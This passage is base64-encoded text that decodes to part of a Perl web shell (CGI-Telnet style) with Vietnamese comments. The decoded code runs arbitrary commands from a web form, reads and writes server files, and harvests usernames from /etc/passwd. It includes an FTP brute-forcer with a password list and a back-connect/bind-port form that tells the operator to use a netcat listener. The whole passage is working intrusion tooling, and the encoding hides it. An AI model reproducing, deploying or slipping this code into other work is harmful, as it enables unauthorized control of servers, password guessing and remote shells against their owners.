bHMnIHJvd3M9JyRyb3dzJyBzcGVsbGNoZWNrPSdmYWxzZSc+IjsKCQkjIHh1YXQgdGhvbmcgdGluIGtoaSBjaHV5ZW4gZGVuIDEgdGh1IG11YyBuYW8gZG8hCgkJJFJ1bkNvbW1hbmQ9ICRXaW5OVD8iZGlyIjoiZGlyIC1saWEiOwoJCSRyZXN1bHQgLj0gJlJ1bkNtZDsKCX1lbHNpZigkUnVuQ29tbWFuZCA9fiBtL15ccyplZGl0XHMrKC4rKS8pCgl7CgkJJHJlc3VsdCAuPSAgJlNhdmVGaWxlRm9ybTsKCX1lbHNlCgl7CgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCQkkcmVzdWx0IC49ICJDb21tYW5kOiA8cnVuPiRSdW5Db21tYW5kPC9ydW4+PGJyPjx0ZXh0YXJlYSBpZD0nZGF0YScgY29scz0nJGNvbHMnIHJvd3M9JyRyb3dzJyBzcGVsbGNoZWNrPSdmYWxzZSc+IjsKCQkkcmVzdWx0IC49JlJ1bkNtZDsKCX0KCSRyZXN1bHQgLj0gICI8L3RleHRhcmVhPiI7CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgcnVuIGNvbW1hbmQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUnVuQ21kCnsKCW15ICRyZXN1bHQ9IiI7CgkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuJFJ1bkNvbW1hbmQuJFJlZGlyZWN0b3I7CglpZighJFdpbk5UKQoJewoJCSRTSUd7J0FMUk0nfSA9IFwmQ29tbWFuZFRpbWVvdXQ7CgkJYWxhcm0oJENvbW1hbmRUaW1lb3V0RHVyYXRpb24pOwoJfQoJaWYoJFNob3dEeW5hbWljT3V0cHV0KSAjIHNob3cgb3V0cHV0IGFzIGl0IGlzIGdlbmVyYXRlZAoJewoJCSR8PTE7CgkJJENvbW1hbmQgLj0gIiB8IjsKCQlvcGVuKENvbW1hbmRPdXRwdXQsICRDb21tYW5kKTsKCQl3aGlsZSg8Q29tbWFuZE91dHB1dD4pCgkJewoJCQkkXyA9fiBzLyhcbnxcclxuKSQvLzsKCQkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygiJF9cbiIpOwoJCX0KCQkkfD0wOwoJfQoJZWxzZSAjIHNob3cgb3V0cHV0IGFmdGVyIGNvbW1hbmQgY29tcGxldGVzCgl7CgkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygkQ29tbWFuZCk7Cgl9CglpZighJFdpbk5UKQoJewoJCWFsYXJtKDApOwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQojIEZvcm0gU2F2ZSBGaWxlIAojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CnN1YiBTYXZlRmlsZUZvcm0KewoJbXkgJHJlc3VsdCA9IiI7CgkkRW5jb2RlQ3VycmVudERpciA9IEVuY29kZURpcigkQ3VycmVudERpcik7CglzdWJzdHIoJFJ1bkNvbW1hbmQsMCw1KT0iIjsKCW15ICRmaWxlPSZ0cmltKCRSdW5Db21tYW5kKTsKCSRzYXZlPSc8YnI+PGlucHV0IG5hbWU9ImEiIHR5cGU9InN1Ym1pdCIgdmFsdWU9InNhdmUiIGNsYXNzPSJzdWJtaXQiID4nOwoJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJFJ1bkNvbW1hbmQ7CglteSAkZGlyPSI8c3BhbiBzdHlsZT0nZm9udDogMTFwdCBWZXJkYW5hOyBmb250LXdlaWdodDogYm9sZDsnPiIuJkFkZExpbmtEaXIoImd1aSIpLiI8L3NwYW4+IjsKCWlmKC13ICRGaWxlKQoJewoJCSRyb3dzPSIyMyIKCX1lbHNlCgl7CgkJJG1zZz0iPGJyPjxmb250IHN0eWxlPSdjb2xvcjogeWVsbG93OycgPiBDYW5uJ3Qgd3JpdGUgZmlsZSE8Zm9udD48YnI+IjsKCQkkcm93cz0iMjAiCgl9CgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIjxmb250IGNvbG9yPScjRkZGRkZGJz5bYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQ8L2ZvbnQ+ICI7CgkkUnVuQ29tbWFuZCA9ICJlZGl0ICRSdW5Db21tYW5kIjsKCSRyZXN1bHQgLj0gIDw8RU5EOwoJPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CgoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRFbmNvZGVDdXJyZW50RGlyIj4KCSRQcm9tcHQKCTxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI0MCIgbmFtZT0iYyI+Cgk8aW5wdXQgbmFtZT0icyIgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPgoJPGJyPkNvbW1hbmQ6IDxydW4+ICRSdW5Db21tYW5kIDwvcnVuPgoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZmlsZSIgdmFsdWU9IiRmaWxlIiA+ICRzYXZlIDxicj4gJG1zZwoJPGJyPjx0ZXh0YXJlYSBpZD0iZGF0YSIgbmFtZT0iZGF0YSIgY29scz0iJGNvbHMiIHJvd3M9IiRyb3dzIiBzcGVsbGNoZWNrPSJmYWxzZSI+CkVORAoJCgkkcmVzdWx0IC49ICZIdG1sU3BlY2lhbENoYXJzKCZGaWxlT3BlbigkRmlsZSwwKSk7CgkkcmVzdWx0IC49ICI8L3RleHRhcmVhPiI7CgkkcmVzdWx0IC49ICI8L2Zvcm0+IjsKCXJldHVybiAkcmVzdWx0Owp9CiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KIyBGaWxlIE9wZW4KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQpzdWIgRmlsZU9wZW4oJCl7CglteSAkZmlsZSA9IHNoaWZ0OwoJbXkgJGJpbmFyeSA9IHNoaWZ0OwoJbXkgJHJlc3VsdCA9ICIiOwoJbXkgJG4gPSAiIjsKCWlmKC1mICRmaWxlKXsKCQlpZihvcGVuKEZJTEUsJGZpbGUpKXsKCQkJaWYoJGJpbmFyeSl7CgkJCQliaW5tb2RlIEZJTEU7CgkJCX0KCQkJd2hpbGUgKCgkbiA9IHJlYWQgRklMRSwgJGRhdGEsIDEwMjQpICE9IDApIHsKCQkJCSRyZXN1bHQgLj0gJGRhdGE7CgkJCX0KCQkJY2xvc2UoRklMRSk7CgkJfQoJfWVsc2UKCXsKCQlyZXR1cm4gIk5vdCdzIGEgRmlsZSEiOwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQojIFNhdmUgRmlsZQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CnN1YiBTYXZlRmlsZSgkKQp7CglteSAkRGF0YT0gc2hpZnQgOwoJbXkgJEZpbGU9IHNoaWZ0OwoJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJEZpbGU7CglpZihvcGVuKEZJTEUsICI+JEZpbGUiKSkKCXsKCQliaW5tb2RlIEZJTEU7CgkJcHJpbnQgRklMRSAkRGF0YTsKCQljbG9zZSBGSUxFOwoJCXJldHVybiAxOwoJfWVsc2UKCXsKCQlyZXR1cm4gMDsKCX0KfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQnJ1dGUgRm9yY2VyIEZvcm0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQnJ1dGVGb3JjZXJGb3JtCnsKCW15ICRyZXN1bHQ9IiI7CgkkcmVzdWx0IC49IDw8RU5EOwoKPHRhYmxlPgoKPHRyPgo8dGQgY29sc3Bhbj0iMiIgYWxpZ249ImNlbnRlciI+CiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIzxicj4KU2ltcGxlIEZUUCBicnV0ZSBmb3JjZXI8YnI+Ck5vdGU6IE9ubHkgc2NhbiBmcm9tIDEgdG8gMyB1c2VyIDotUzxicj4KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgoKPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJydXRlZm9yY2VyIi8+CjwvdGQ+CjwvdHI+Cjx0cj4KPHRkPlVzZXI6PGJyPjx0ZXh0YXJlYSByb3dzPSIxOCIgY29scz0iMzAiIG5hbWU9InVzZXIiPgpFTkQKY2hvcCgkcmVzdWx0IC49IGBsZXNzIC9ldGMvcGFzc3dkIHwgY3V0IC1kOiAtZjFgKTsKJHJlc3VsdCAuPSA8PCdFTkQnOwo8L3RleHRhcmVhPjwvdGQ+Cjx0ZD4KClBhc3M6PGJyPgo8dGV4dGFyZWEgcm93cz0iMTgiIGNvbHM9IjMwIiBuYW1lPSJwYXNzIj4xMjNwYXNzCjEyMyFAIwoxMjNhZG1pbgoxMjNhYmMKMTIzNDU2YWRtaW4KMTIzNDU1NDMyMQoxMjM0NDMyMQpwYXNzMTIzCmFkbWluCmFkbWluY3AKYWRtaW5pc3RyYXRvcgptYXRraGF1CnBhc3NhZG1pbgpwQHNzd29yZApwQHNzdzByZApwYXNzd29yZAoxMjM0NTYKMTIzNDU2NwoxMjM0NTY3OAoxMjM0NTY3ODkKMTIzNDU2Nzg5MAoxMTExMTEKMDAwMDAwCjIyMjIyMgozMzMzMzMKNDQ0NDQ0CjU1NTU1NQo2NjY2NjYKNzc3Nzc3Cjg4ODg4OAo5OTk5OTkKMTIzMTIzCjIzNDIzNAozNDUzNDUKNDU2NDU2CjU2NzU2Nwo2Nzg2NzgKNzg5Nzg5CjEyMzMyMQo0NTY2NTQKNjU0MzIxCjc2NTQzMjEKODc2NTQzMjEKOTg3NjU0MzIxCjA5ODc2NTQzMjEKYWRtaW4xMjMKYWRtaW4xMjM0NTYKYWJjZGVmCmFiY2FiYwohQCMhQCMKIUAjJCVeCiFAIyQlXiYqKAohQCMkJCNAIQphYmMxMjMKYW5oeWV1ZW0KaWxvdmV5b3UKa2hvbmdjb2dpCmtob25nY29wYXNzCjZ7Si47fTI3VX4yYgpIPUIoKypJT3kjelYKR0FhMS1XfSFbUk0jClowRCU1Qi1XQ0RxTApHT0Elb01xXmN0PWcKKXl7OEVFTUktWHF4Cmg2VWd+em9lYX0hKQo1LFRnemJ4JnQ4PVEKQzBVY0FkLXhJNiVbCkp5LmxfPXd7eXJwUwo9blJjUn49ZHF9LS4KfWF9QCYze1Q4UThXCkFOI0gsR0lBRCRnOwpUYXdkKHFuWkVhV20KUzl6bmhQVTEkdUFkClpQQDAqS2FDW0VGJQptcXlYWkt0JGdjJTIKZTdzSy1EQytpS3lbCkEpQCZ7dUVlZipNdQpLVSFbc2MmSipNeHYKKl9wPVNAa11DYko5CikwTi1EOColLmZ+RApOVmFwX3Bza3JvR2gKO29bUDJLRFp4b3ZSCmdxO1pJRGxQdD1lOwpvNiNeIUR+N2U0UlYKfUFDSyUkI0hJdm89CnBxZnFOSDJEI21zVwpTfnJ5bEMwJHZwaUwKfT8oaFIwUSZCfTYkCkA7S252THJjJSw9UwpJdCVmYW5zSWQuNmMKW1VkVEEjdU5UXStXCk1JLDtAPW4ub2RfUwolT09uXj00dTN3YSwKPXNYT3AxUFZaRClVCjZlSzZEUVBwZ2xlVwpbUG9uYWMwQE1zMHsKWmc5enkmYjVUY31NCmdfXVQxQVJ0WkhQRwpdT1MuM09+dCt4YSEKLWJ1WHgsX147XVYqCnZkTTZzSDlfaX5GMQo7YWNEMyEzdUMrdFIKZTVReUs7djF3dGdmCnkmYn15KyNBSjt9Vwo3VGg5TXJzeF8yN2UKM3dCYWVpMXE0TXRiCnlCMnc1RXJDaUZxZwo0JWJwIWVjTkxPaGYKNCVicCFlY05MT2hmClJMLGspMFFDZF1EewoqLT0jWl0jSCskUWIKTHhPQ10yR1prJUx6CmY9e3VsRV5QKU1kSQpRczkqPVQ4YlRjb30KV2VnW01YLlJJNnNUCkhtLDh9QV9+dEg0cQpnTUFmSGxMPXB4R0gKYTdEWkR9SyR4Xns4CkE1Pz1FYix3TmhiRApCQlh6OSlQb1t5NC4KVFtDITc0cG9LQGtRCjBkMyxxQDdbaG9PRgo5X0M3cCFHO1dQUngKMUQzMiV1OUtlRlhMCi5GfUwmdmRwfXR0IQopRCtjQkpfKj9ETCoKNCpHdUc5LndzJl5PCjZAfnUlTiRtSiYmMgorS1hrSTtxZjQzemEKJUA5ZTYhMltrXTApCmlJIXY/SXN+cUYucwoxbWZ5RXc2QDMkfksKTCs/fmZUXzJnb2c0CktvfiUlQD9iWkxBfQouQjhjSUF4TW8od1MKa09AQChRPzNDKyhhCnEqdVRDWH55S0F9JQpPQDAkVUZ2dHlCLiUKI2J2Wi4uQysqLSt2ClIoWnAkPzBNTlZbRgpTKUMsQmx4MTdzXk4KU2VbRFU5Z3pVNHZNCitEeXBxJDI3W0VAXQpKaF9LcStBMTFwZEgKJE97U2tHcFE4YSRpCiYpXUZrcUUrQlRwQQptfm5lVWxNfVg2ZTQKe3gjKWcxTFRnXVIhCmRjUi5VSV9Qdk99XwptUiZ7UXU1Q0UpLCEKQWhbSyFRYUZMXyNQCjd1KkpVfmdjSktvYwpoVSRCRUFfRyEtPzIKbXRSSDJnZjMhaWx1CkdMVylLdUgqZUN+KgoyT107YmZzZmguOTUKJndATiEuV3JdZnV5Cksje0d4JDlXUExLKQpfUl1KQ041WyYlKy4KNVoybmErZDNzVUs/Ck5HUmJDayZ4NGFIKwpBVU8mVFt1PUpdYiYKXSQqIThHfSkoMTQ2CkJwTVR2MjEwSCtQRgo0Y35xZzRvdngoR2IKMTB0Xy4hMSNaVHNfClhlOEBUMWlkbUcuKgpDJTRhTjFzSWltKT8KTFgwLW1DYmtYIytXCk5rWDI5YztDaWZkbgpJJWtvb3ksXzE5W3MKNUlBVHp7Y35zbmQoCjRReHYkP3Ize202bwo3O1VPaHNAZHBpVkAKTD9QQVNWLThGem1hClpyb28sTz19fixyRQpXM3UqaS15XUk1V2cKZDtxQ0p5Q2U0V0psCjk9dDYueWh+VnYybQpKRkl7ISFBVngpeC4KYyE/MHpvU1AsUUBoCj9wTyNYTUhhOG5rNwpWfnU7JFRUOUErdDsKXSRKXWk7X1hmbDE1CkRTXjRWaERmSnFVdgotOFpodk9abTlQeFEKeSwzUyxGVFNRQl4pCjIpKmdoPVozLH14VAprUFNCNlIuIT1Kb1EKJSQ5NjhJLnJ5WzVKCjJGNlcmNG4rRm5eTworUXdAPTB9X0h7MlQKeGspfkNLODc0UFdLClZ0Lk5TUnZDOEJhZApBdHRoMlVnaDU3NEcKd2hnT1s2Wk9YW24rCm5hXzc/e3liYXhdNQpKM2lGLH4qKGUlRkAKPSZGV35oWkRdcCUjCm52bC4xTEN1XUUxJgomeGteUEUlaSFPI1AKSVdKTGwmaEpxej1pCl56MHNSeEp3IUNMbwo4XlYjbCQ3K29mLlsKNWxXQSxQMX5nKEwwCkNGSUdVdmI7RTNLSQpfR0AsQVFFUyR2TGUKbF57RW5BJG5bOU5iCkUxZygwXnEjWG87ZwomTWhLRjE7VzNvMCYKNTA0MjJCMmFnJmVtCkw5NTNIK212cUtHYQpMKUZfUU9AeTJedGQKSEFiS0AtJlRBVFNNCiMjOW0rZGkqSilAYgpmZCxiciVpVzUxck0KIUUtbV43TU5FTHtMCiZvMiVKQF9ScVt1VAokJkB5OHBFMFM9MEUKSXVybXJLdHpUJDQ5CkxUXS5TWG8jbEQycApSIztoJiEmLnpDSVIKTHdreSEtTy1BZlgmClpePSpXW2gzX2g7LgpnTnJpY1Zxe2k9LS4KLGl+QDYhdzJuZHpRCnA2aFNienMjSUtnMQpaaGJlbFR+TjJXeFcKJixzcjRUT2RvTUEtCjNrSXZyej9eVFMjSwpvVHYrMUBbNGg1e0MKbXJfWEJAfkhHKnBpCl1xYVI2LVQuMC45TwpUUHcuQ0Q5WjYqTCQKcyhBLkRAeHZPNSU5CmIhIyZAdlR2TiouOAosbyMpcjNULTVOZ1sKZTZXIWZiUmdyXXU5CiY7TjAkJUc4IXlYLgpsKUlzViRSLSZXQDUKUHhUa0YzT2JTbls2Cl5sS2Escn5jPSl0MwpVW3d0KlcpfU9lSGUKaHtEY3loKi1ofjlACmFTYjklQ3JXTmtNTgpuIyMjbG4ucEB6aGsKOS4rUFtXUCEpZy1HCnlrK1sxUn5hQHdIMAp5PTVyJF41Vl5wbVUKMyVLbnBURi1nbVVyClVCdi5IfntvKW84cApkS3s9KTc1JkVGVTUKKkVlc2dPR0k0eD9bCkU2WDVrI3tBNjV4VApwdXgpRFNrRkxJVGcKdzNKVl0hNWlkfUFdClVCVDN1LTBIKX5NJQo1JUMuN1smNzByfmwKSUpJW0g7bjReNVV4Ci1AMEMoUyp+QTd2UgpXQXIqTntPOEMoJGYKVCYraFotJHZyeGYpCnVGRHNRIWRWe0hHewpNeEE3cncwa3pKJjQKTFVNRWxxN0ZDMVpECnt+JTN9MCkxdVpQKQp2LW5MWmkhK2xVKCEKPXVhPVRRVlEpJHAwClZvSVRYb2ZeSHVfXgp6ckkmRVNvSH57VkgKUm9LLCV2fjsuXSxGCmwsRE02OU1DRE5xXwo2UFplMm5YeHlfZ3AKdWl3UX5dVHkyYTVrCjgwNVRiS0hDV3gqJQprcjNeYVc3QWt0UkUKUXE4ISpJSlU0LGtJClhVYl8ybXB9RCVRMgp4e0ROKUNFOzFxNDcKSHJSJUByJHRIfXs2Cm4hQWUqNXNyRXBPaQpOQn1BR3dyVltYN3MKOF5wIS0mO1BkLXYjCnIldDZkM1cmLSxHUAooay1nMSpkTSxVTHoKVSVwT1gybihnM1MtCiMxXy4qT28wOFY2LgpCdWcoK2RzYndISXUKVGNCfXRANC5OS35mCkc4X2Fkbys7YnVFeQpuYXNWQi07MkxCMHkKZiVYZWFyMiV5ZXdFCkA3LHVpcXZKRiRMQQpJNH02LE1GMnhLYUIKVk9nLmdGTXA/OywpClA4TzB6KSMmb3pEMQpQblhOLjM3UUdYYioKP2Z6dlRPXjFheDRICl5oIU49bGFIZ0FDSQpBNV1XKDBYa1tieE8KZFs1ZElOK14pNU82CmlBczhReEwmUFVuIwpASzgrUV0uU0I7cHoKbFUjRC4xSTkpaHldCl1kSl1dZ3ZVOF5Mbgo4MUdQVTR1T3FTRU0KJUhfYmVYQ0t5QD89Cl1hYX1teTU3fXhIUwpUblBJQj9BbWEtXTMKQl44KiNebEFbZ2ZrCmEzQWM1eEREO0NIMwomd3V9TWkuJURaT18KbTtaYzEtaWReNC1sCj9PaXM4S1RMO1U9TQpxfnZQN3JbRDlVZCwKSVB6eS1HTFNGNGtKCltyaCVVVExxVGFBUgpDTWFJRC5hbF5zIUcKN2tiaCFrM2tFTC0wCihOU3NwMmdCJF8kPwouZlNoXmteezY7THgKLmg5R1swYT1MJF81CjFbQHh4ZlBUOylCcgpmKDN4cnNiLCMuaS0KTStMbD9KQ08zbjJFCnRbdURwSWN2I1hDMAowISxUTj07QixPI3oKfk50VTt0W2UmPVs2CnB7eStNaCNafWE0TAo5eXN+SU1oTFo9LXIKN2s5RDQ2elR7IWJBCkYxViQ4OWRVLC1ITApSa0V2ZzJWNmVANlcKNENxR3osI3RATFVYCl9ESWNiZm47TVAyegpVJFBwd193VklUKkwKbkp5WEVOIyZXS1VBClE/c2VbUWxCKG9eJgpKN1teJH1Ea15vTjkKbWViXnAsKixWKCZrCnQ7XzE0KXtQYjhNTAp9PX5+ey02d1QwdFUKN1hMbkY7Y0ZhSWV0CiNXP2t4TEB+aWNkcgpCNl82TC4yQltyI0UKLEZ5YmtSejQjQTF1Ckl4JixXVFZbZWU5VApJLTVkaV50c0d5KTMKczIseWRESS5HMipDCmNOVHd4JTRYVXgwOApjb0dEODs4cighU24KXVFSO11+M3BYQGtUClpMXj1QRS0kIzRiOQpbSH1XZ2NuYXFsZVIKKzYoWyRiW0FGRHR5CnghLCojTHNXZldkYgpyaWUzJXNDWyN0RDAKLk1ya2gmZlotKzJRCn1vVF1pSmhtdX52SAo1KFQtRF17SlVEckIKU0JENlhBflA/ay0hCmk9aWVfbGZxK21wXgpUe11FS2FBWG1kISgKVTEsQyZ2Tjtlfnc4Ck0kJlBfdF9UY1d7Uwp0LlhTXzRATiFPSFEKckdVISEtX0UtbjVwCi1bZlo5UlhdVEVpSApXVlR6T2JwQS5IMlEKcyhtYltiSW9sXXU7Ck5Bfnp2ZVVlJnF5fQprZ0ZmbSo3cjExT2YKPUBQQ0h1WGJMRW90CmZkdUExMUxlRkJEfQp1YlRnbTliPSxFQUYKSjJCc2tHe0ZaVGldCkBeYjR9WDBNaGxrPQo1UyFsOVpAR144Qm4KPTY5PU1yLiVMaFhGCiheQk9HIVtPbC1EOwo3TVFbJjJ+R3FJa3UKN3BXLU80fSM3UjZnCmRFWDswVFZSbEhvKgotJn4jOU9xaXdabWgKTm5SdCN+JHdyR3VACms2cl4lKSt5d25wLgpEMSQ1dEVQSFhaezYKSWI9TTNSTiFUaE1NCldKU1g3WjRUI3c9NQpdUGEkNyZRS25nQigKPC90ZXh0YXJlYT4KPC90ZD4KPC90cj4KPHRyPgo8dGQgY29sc3Bhbj0iMiIgYWxpZ249ImNlbnRlciI+ClNsZWVwOjxzZWxlY3QgbmFtZT0ic2xlZXAiPgoKPG9wdGlvbj4wPC9vcHRpb24+CjxvcHRpb24+MTwvb3B0aW9uPgo8b3B0aW9uPjI8L29wdGlvbj4KCjxvcHRpb24+Mzwvb3B0aW9uPgo8L3NlbGVjdD4gCjxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJzdWJtaXQiIHZhbHVlPSJCcnV0ZSBGb3JjZXIiLz48L3RkPjwvdHI+CjwvZm9ybT4KPC90YWJsZT4KRU5ECnJldHVybiAkcmVzdWx0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBCcnV0ZSBGb3JjZXIKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQnJ1dGVGb3JjZXIKewoJbXkgJHJlc3VsdD0iIjsKCSRTZXJ2ZXI9JEVOVnsnU0VSVkVSX0FERFInfTsKCWlmKCRpbnsndXNlcid9IGVxICIiKQoJewoJCSRyZXN1bHQgLj0gJkJydXRlRm9yY2VyRm9ybTsKCX1lbHNlCgl7CgkJdXNlIE5ldDo6RlRQOyAKCQlAdXNlcj0gc3BsaXQoL1xuLywgJGlueyd1c2VyJ30pOwoJCUBwYXNzPSBzcGxpdCgvXG4vLCAkaW57J3Bhc3MnfSk7CgkJY2hvbXAoQHVzZXIpOwoJCWNob21wKEBwYXNzKTsKCQkkcmVzdWx0IC49ICI8YnI+PGJyPlsrXSBUcnlpbmcgYnJ1dGUgJFNlcnZlck5hbWU8YnI+PT09PT09PT09PT09PT09PT09PT0+Pj4+Pj4+Pj4+Pj48PDw8PDw8PDw8PT09PT09PT09PT09PT09PT09PT08YnI+PGJyPlxuIjsKCQlmb3JlYWNoICR1c2VybmFtZSAoQHVzZXIpCgkJewoJCQlpZigkdXNlcm5hbWUgbmUgIiIpCgkJCXsKCQkJCWZvcmVhY2ggJHBhc3N3b3JkIChAcGFzcykKCQkJCXsKCQkJCQkkZnRwID0gTmV0OjpGVFAtPm5ldygkU2VydmVyKSBvciBkaWUgIkNvdWxkIG5vdCBjb25uZWN0IHRvICRTZXJ2ZXJOYW1lXG4iOyAKCQkJCQlpZigkZnRwLT5sb2dpbigiJHVzZXJuYW1lIiwiJHBhc3N3b3JkIikpCgkJCQkJewoJCQkJCQkkcmVzdWx0IC49ICI8YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0nZnRwOi8vJHVzZXJuYW1lOiRwYXNzd29yZFxAJFNlcnZlcic+WytdIGZ0cDovLyR1c2VybmFtZTokcGFzc3dvcmRcQCRTZXJ2ZXI8L2E+PGJyPlxuIjsKCQkJCQkJJGZ0cC0+cXVpdCgpOwoJCQkJCQlicmVhazsKCQkJCQl9CgkJCQkJaWYoJGlueydzbGVlcCd9IG5lICIwIikKCQkJCQl7CgkJCQkJCXNsZWVwKGludCgkaW57J3NsZWVwJ30pICogMTAwMCk7CgkJCQkJfQoJCQkJCSRmdHAtPnF1aXQoKTsKCQkJCX0KCQkJfQoJCX0KCQkkcmVzdWx0IC49ICJcbjxicj49PT09PT09PT09Pj4+Pj4+Pj4+PiBGaW5pc2hlZCA8PDw8PDw8PDw8PT09PT09PT09PTxicj5cbiI7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQmFja2Nvbm5lY3QgRm9ybQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCYWNrQmluZEZvcm0KewoJcmV0dXJuIDw8RU5EOwoJPGJyPjxicj4KCgk8dGFibGU+Cgk8dHI+Cgk8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KCTx0ZD5CYWNrQ29ubmVjdDogPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJhY2tiaW5kIj48L3RkPgoJPHRkPiBIb3N0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIG5hbWU9ImNsaWVudGFkZHIiIHZhbHVlPSIkRU5WeydSRU1PVEVfQUREUid9Ij4KCSBQb3J0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNiIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjgwIiBvbmtleXVwPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYmEnKS5pbm5lckhUTUw9dGhpcy52YWx1ZTsiPjwvdGQ+CgoJPHRkPjxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkNvbm5lY3QiPjwvdGQ+Cgk8L2Zvcm0+Cgk8L3RyPgoJPHRyPgoJPHRkIGNvbHNwYW49Mz48Zm9udCBjb2xvcj0jRkZGRkZGPlsrXSBDbGllbnQgbGlzdGVuIGJlZm9yZSBjb25uZWN0IGJhY2shCgk8YnI+WytdIFRyeSBjaGVjayB5b3VyIFBvcnQgd2l0aCA8YSB0YXJnZXQ9Il9ibGFuayIgaHJlZj0iaHR0cDovL3d3dy5jYW55b3VzZWVtZS5vcmcvIj5odHRwOi8vd3d3LmNhbnlvdXNlZW1lLm9yZy88L2E+Cgk8YnI+WytdIENsaWVudCBsaXN0ZW4gd2l0aCBjb21tYW5kOiA8cnVuPm5jIC12diAtbCAtcCA8c3BhbiBpZD0iYmEiPjgwPC9zcGFuPjwvcnVuPjwvZm9udD48L3RkPgoKCTwvdHI+Cgk8L3RhYmxlPgoKCTxicj48YnI+Cgk8dGFibGU+Cgk8dHI+Cgk8Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KCTx0ZD5CaW5kIFBvcnQ6IDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJiYWNrYmluZCI+PC90ZD4KCgk8dGQ+IFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxNSIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjE0MTIiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiaScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI+Cg